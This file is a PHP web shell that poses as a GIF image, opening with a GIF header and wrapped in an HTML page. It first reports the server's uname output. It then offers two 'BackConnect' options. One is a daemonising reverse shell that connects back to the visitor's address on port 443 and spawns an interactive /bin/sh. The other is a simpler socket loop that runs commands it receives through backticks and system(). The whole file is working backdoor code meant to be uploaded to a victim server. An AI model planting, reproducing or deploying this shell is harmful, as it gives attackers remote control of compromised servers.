GIF89;a
<!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.0 Transitional//EN">
<HTML>
<HEAD>
<META http-equiv=Content-Type content="text/html; charset=windows-1254">
</HEAD>
<BODY>
<CENTER>
<?php
$uname = php_uname();
echo "Uname -a :$uname";
?>
<br><br>
<a href="?BackConnect=PHP_1">PHP BackConnect 1</a>
<a href="?BackConnect=PHP_2">PHP BackConnect 2</a>
<?php
function printit ($string) {
if (!$daemon) {
print "$string\n";
}
}
$bc = $_GET["BackConnect"];
switch($bc){
case "PHP_1":
set_time_limit (0);
$VERSION = "1.0";
$ip = $_SERVER["REMOTE_ADDR"];
$port = 443;
$chunk_size = 1400;
$write_a = null;
$error_a = null;
$shell = 'uname -a; w; id; /bin/sh -i';
$daemon = 0;
$debug = 0;
if (function_exists('pcntl_fork')) {
$pid = pcntl_fork();
if ($pid == -1) {
printit("ERROR: Can't fork");
exit(1);
}
if ($pid) {
exit(0); // Parent exits
}
if (posix_setsid() == -1) {
printit("Error: Can't setsid()");
exit(1);
}
$daemon = 1;
} else {
print("WARNING: Failed to daemonise. This is quite common and not fatal.");
}
// Change to a safe directory
chdir("/");
// Remove any umask we inherited
umask(0);
//
// Do the reverse shell...
//
// Open reverse connection
$sock = fsockopen($ip, $port, $errno, $errstr, 30);
if (!$sock) {
printit("$errstr ($errno)");
exit(1);
}
// Spawn shell process
$descriptorspec = array(
0 => array("pipe", "r"), // stdin is a pipe that the child will read from
1 => array("pipe", "w"), // stdout is a pipe that the child will write to
2 => array("pipe", "w") // stderr is a pipe that the child will write to
);
$process = proc_open($shell, $descriptorspec, $pipes);
if (!is_resource($process)) {
printit("ERROR: Can't spawn shell");
exit(1);
}
// Set everything to non-blocking
// Reason: Occsionally reads will block, even though stream_select tells us they won't
stream_set_blocking($pipes[0], 0);
stream_set_blocking($pipes[1], 0);
stream_set_blocking($pipes[2], 0);
stream_set_blocking($sock, 0);
printit("Successfully opened reverse shell to $ip:$port");
while (1) {
// Check for end of TCP connection
if (feof($sock)) {
printit("ERROR: Shell connection terminated");
break;
}
// Check for end of STDOUT
if (feof($pipes[1])) {
printit("ERROR: Shell process terminated");
break;
}
// Wait until a command is end down $sock, or some
// command output is available on STDOUT or STDERR
$read_a = array($sock, $pipes[1], $pipes[2]);
$num_changed_sockets = stream_select($read_a, $write_a, $error_a, null);
// If we can read from the TCP socket, send
// data to process's STDIN
if (in_array($sock, $read_a)) {
if ($debug) printit("SOCK READ");
$input = fread($sock, $chunk_size);
if ($debug) printit("SOCK: $input");
fwrite($pipes[0], $input);
}
// If we can read from the process's STDOUT
// send data down tcp connection
if (in_array($pipes[1], $read_a)) {
if ($debug) printit("STDOUT READ");
$input = fread($pipes[1], $chunk_size);
if ($debug) printit("STDOUT: $input");
fwrite($sock, $input);
}
// If we can read from the process's STDERR
// send data down tcp connection
if (in_array($pipes[2], $read_a)) {
if ($debug) printit("STDERR READ");
$input = fread($pipes[2], $chunk_size);
if ($debug) printit("STDERR: $input");
fwrite($sock, $input);
}
}
fclose($sock);
fclose($pipes[0]);
fclose($pipes[1]);
fclose($pipes[2]);
proc_close($process);
// Like print, but does nothing if we've daemonised ourself
// (I can't figure out how to redirect STDOUT like a proper daemon)
break;
case "PHP_2":
$ipim=$_SERVER["REMOTE_ADDR"];
$portum="443";
if ($ipim <> "")
{
$mucx=fsockopen($ipim , $portum , $errno, $errstr );
if (!$mucx){
$result = "Error: didnt connect !!!";
}
else {
$zamazing0="\n";
fputs ($mucx ,"\nwelcome ZoRBaCK\n\n");
fputs($mucx , system("uname -a") .$zamazing0 );
fputs($mucx , system("pwd") .$zamazing0 );
fputs($mucx , system("id") .$zamazing0.$zamazing0 );
while(!feof($mucx)){
fputs ($mucx);
$one="[$";
$two="]";
$result= fgets ($mucx, 8192);
$message=`$result`;
fputs ($mucx, $one. system("whoami") .$two. " " .$message."\n");
}
fclose ($mucx);
}
}
break;
}
?>
</CENTER>
</BODY>
</HTML>
